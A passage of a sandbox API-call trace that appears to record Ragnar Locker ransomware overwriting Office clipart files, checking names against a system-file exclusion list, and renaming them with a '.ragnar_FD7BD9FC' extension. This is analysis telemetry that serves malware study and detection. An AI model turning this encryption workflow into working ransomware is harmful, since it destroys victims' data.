lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.116] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.116] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.116] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.116] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.116] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.117] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7ce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.117] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.117] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.117] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.117] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.117] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.117] GetProcessHeap () returned 0x580000 [0090.117] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.117] CloseHandle (hObject=0xf4) returned 1 [0090.117] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" [0090.117] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.ragnar_FD7BD9FC" [0090.117] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.118] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02412K.JPG", cAlternateFileName="")) returned 1 [0090.118] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.118] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02412K.JPG" | out: lpString1="PH02412K.JPG") returned="PH02412K.JPG" [0090.118] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG") returned=".JPG" [0090.118] lstrcmpiW (lpString1="PH02412K.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.118] lstrcmpiW (lpString1="PH02412K.JPG", lpString2="autorun.inf") returned 1 [0090.118] lstrcmpiW (lpString1="PH02412K.JPG", lpString2="boot.ini") returned 1 [0090.118] lstrcmpiW (lpString1="PH02412K.JPG", lpString2="bootfont.bin") returned 1 [0090.118] lstrcmpiW (lpString1="PH02412K.JPG", lpString2="bootsect.bak") returned 1 [0090.118] lstrcmpiW (lpString1="PH02412K.JPG", lpString2="bootmgr") returned 1 [0090.118] lstrcmpiW (lpString1="PH02412K.JPG", lpString2="bootmgr.efi") returned 1 [0090.118] lstrcmpiW (lpString1="PH02412K.JPG", lpString2="bootmgfw.efi") returned 1 [0090.118] lstrcmpiW (lpString1="PH02412K.JPG", lpString2="desktop.ini") returned 1 [0090.118] lstrcmpiW (lpString1="PH02412K.JPG", lpString2="iconcache.db") returned 1 [0090.118] lstrcmpiW (lpString1="PH02412K.JPG", lpString2="ntldr") returned 1 [0090.118] lstrcmpiW (lpString1="PH02412K.JPG", lpString2="ntuser.dat") returned 1 [0090.118] lstrcmpiW (lpString1="PH02412K.JPG", lpString2="ntuser.dat.log") returned 1 [0090.118] lstrcmpiW (lpString1="PH02412K.JPG", lpString2="ntuser.ini") returned 1 [0090.118] lstrcmpiW (lpString1="PH02412K.JPG", lpString2="thumbs.db") returned -1 [0090.118] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.118] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.118] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.118] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.118] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.118] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.118] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg")) returned 0x20 [0090.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.119] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3541) returned 1 [0090.119] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xdcc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.119] GetProcessHeap () returned 0x580000 [0090.119] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.119] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.121] VirtualAlloc (lpAddress=0x0, dwSize=0xdd5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.121] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.121] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.121] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xdd5, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xdd5, lpOverlapped=0x0) returned 1 [0090.121] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.121] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdd5, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.121] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xdd5, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xdd5, lpOverlapped=0x0) returned 1 [0090.122] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdd5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.122] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.122] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xdd5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.122] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.122] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.122] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.122] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.122] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.122] GetProcessHeap () returned 0x580000 [0090.122] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.122] CloseHandle (hObject=0xf4) returned 1 [0090.122] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" [0090.122] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.ragnar_FD7BD9FC" [0090.122] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.123] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156e2000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156e2000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02417U.BMP", cAlternateFileName="")) returned 1 [0090.123] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.123] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02417U.BMP" | out: lpString1="PH02417U.BMP") returned="PH02417U.BMP" [0090.123] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP") returned=".BMP" [0090.123] lstrcmpiW (lpString1="PH02417U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.123] lstrcmpiW (lpString1="PH02417U.BMP", lpString2="autorun.inf") returned 1 [0090.123] lstrcmpiW (lpString1="PH02417U.BMP", lpString2="boot.ini") returned 1 [0090.123] lstrcmpiW (lpString1="PH02417U.BMP", lpString2="bootfont.bin") returned 1 [0090.123] lstrcmpiW (lpString1="PH02417U.BMP", lpString2="bootsect.bak") returned 1 [0090.123] lstrcmpiW (lpString1="PH02417U.BMP", lpString2="bootmgr") returned 1 [0090.123] lstrcmpiW (lpString1="PH02417U.BMP", lpString2="bootmgr.efi") returned 1 [0090.124] lstrcmpiW (lpString1="PH02417U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.124] lstrcmpiW (lpString1="PH02417U.BMP", lpString2="desktop.ini") returned 1 [0090.124] lstrcmpiW (lpString1="PH02417U.BMP", lpString2="iconcache.db") returned 1 [0090.124] lstrcmpiW (lpString1="PH02417U.BMP", lpString2="ntldr") returned 1 [0090.124] lstrcmpiW (lpString1="PH02417U.BMP", lpString2="ntuser.dat") returned 1 [0090.124] lstrcmpiW (lpString1="PH02417U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.124] lstrcmpiW (lpString1="PH02417U.BMP", lpString2="ntuser.ini") returned 1 [0090.124] lstrcmpiW (lpString1="PH02417U.BMP", lpString2="thumbs.db") returned -1 [0090.124] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.124] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.124] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.124] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.124] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.124] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.124] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp")) returned 0x20 [0090.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.124] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31968) returned 1 [0090.124] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.124] GetProcessHeap () returned 0x580000 [0090.125] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.125] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.126] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.126] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.126] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.126] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.127] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.127] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.127] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.128] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.128] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.128] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7ce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.128] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.128] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.128] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.128] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.128] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.128] GetProcessHeap () returned 0x580000 [0090.128] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.128] CloseHandle (hObject=0xf4) returned 1 [0090.128] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" [0090.128] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.ragnar_FD7BD9FC" [0090.129] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.129] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf783f00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf783f00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02466U.BMP", cAlternateFileName="")) returned 1 [0090.129] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.129] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02466U.BMP" | out: lpString1="PH02466U.BMP") returned="PH02466U.BMP" [0090.129] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP") returned=".BMP" [0090.129] lstrcmpiW (lpString1="PH02466U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.129] lstrcmpiW (lpString1="PH02466U.BMP", lpString2="autorun.inf") returned 1 [0090.129] lstrcmpiW (lpString1="PH02466U.BMP", lpString2="boot.ini") returned 1 [0090.129] lstrcmpiW (lpString1="PH02466U.BMP", lpString2="bootfont.bin") returned 1 [0090.129] lstrcmpiW (lpString1="PH02466U.BMP", lpString2="bootsect.bak") returned 1 [0090.129] lstrcmpiW (lpString1="PH02466U.BMP", lpString2="bootmgr") returned 1 [0090.130] lstrcmpiW (lpString1="PH02466U.BMP", lpString2="bootmgr.efi") returned 1 [0090.130] lstrcmpiW (lpString1="PH02466U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.130] lstrcmpiW (lpString1="PH02466U.BMP", lpString2="desktop.ini") returned 1 [0090.130] lstrcmpiW (lpString1="PH02466U.BMP", lpString2="iconcache.db") returned 1 [0090.130] lstrcmpiW (lpString1="PH02466U.BMP", lpString2="ntldr") returned 1 [0090.130] lstrcmpiW (lpString1="PH02466U.BMP", lpString2="ntuser.dat") returned 1 [0090.130] lstrcmpiW (lpString1="PH02466U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.130] lstrcmpiW (lpString1="PH02466U.BMP", lpString2="ntuser.ini") returned 1 [0090.130] lstrcmpiW (lpString1="PH02466U.BMP", lpString2="thumbs.db") returned -1 [0090.130] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.130] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.130] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.130] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.130] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.130] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.130] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp")) returned 0x20 [0090.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.130] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31752) returned 1 [0090.131] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7bff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.131] GetProcessHeap () returned 0x580000 [0090.131] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.131] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.132] VirtualAlloc (lpAddress=0x0, dwSize=0x7c08, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.132] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.132] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.133] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7c08, lpOverlapped=0x0) returned 1 [0090.134] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.134] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7c08, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.134] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7c08, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7c08, lpOverlapped=0x0) returned 1 [0090.134] UnlockFile (hFile=0xf4, 